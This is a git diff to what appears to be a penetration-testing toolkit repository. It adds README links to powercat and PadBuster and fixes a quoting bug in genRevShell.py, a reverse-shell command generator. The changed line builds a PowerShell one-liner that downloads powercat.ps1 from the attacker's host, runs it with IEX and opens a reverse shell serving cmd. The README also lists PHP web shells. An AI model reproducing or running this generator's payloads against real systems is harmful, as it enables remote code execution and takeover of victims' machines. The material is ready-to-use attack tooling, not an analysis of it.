diff --git a/README.md b/README.md index 30ec77f..38ed9aa 100644 --- a/README.md +++ b/README.md @@ -21,6 +21,8 @@ This repository contains self-made and common scripts for information gathering, - genRevShell.py: Generates a reverse shell command (e.g. netcat, python, ...) - [php-reverse-shell.php](https://github.com/pentestmonkey/php-reverse-shell) - [p0wny-shell.php](https://github.com/flozz/p0wny-shell) +- [powercat.ps1][https://github.com/besimorhino/powercat] ### Miscellaneous - upload_file.py: Starts a local tcp server, for netcat usage +- [padBuster.pl](https://github.com/AonCyberLabs/PadBuster) diff --git a/genRevShell.py b/genRevShell.py index 43b9647..a1d0a93 100755 --- a/genRevShell.py +++ b/genRevShell.py @@ -34,7 +34,7 @@ def generatePayload(type, local_address, port): elif type == "xterm": return "xterm -display %s:1" % (local_address) elif type == "powercat" or type == "powershell": - return "powershell -c \"IEX(New-Object System.Net.WebClient).DownloadString('http://%s/powercat.ps1');powercat -c %s -p %d -e cmd\")" % (local_address, local_address, port) + return "powershell.exe -c \"IEX(New-Object System.Net.WebClient).DownloadString('http://%s/powercat.ps1');powercat -c %s -p %d -e cmd\"" % (local_address, local_address, port) if __name__ == "__main__":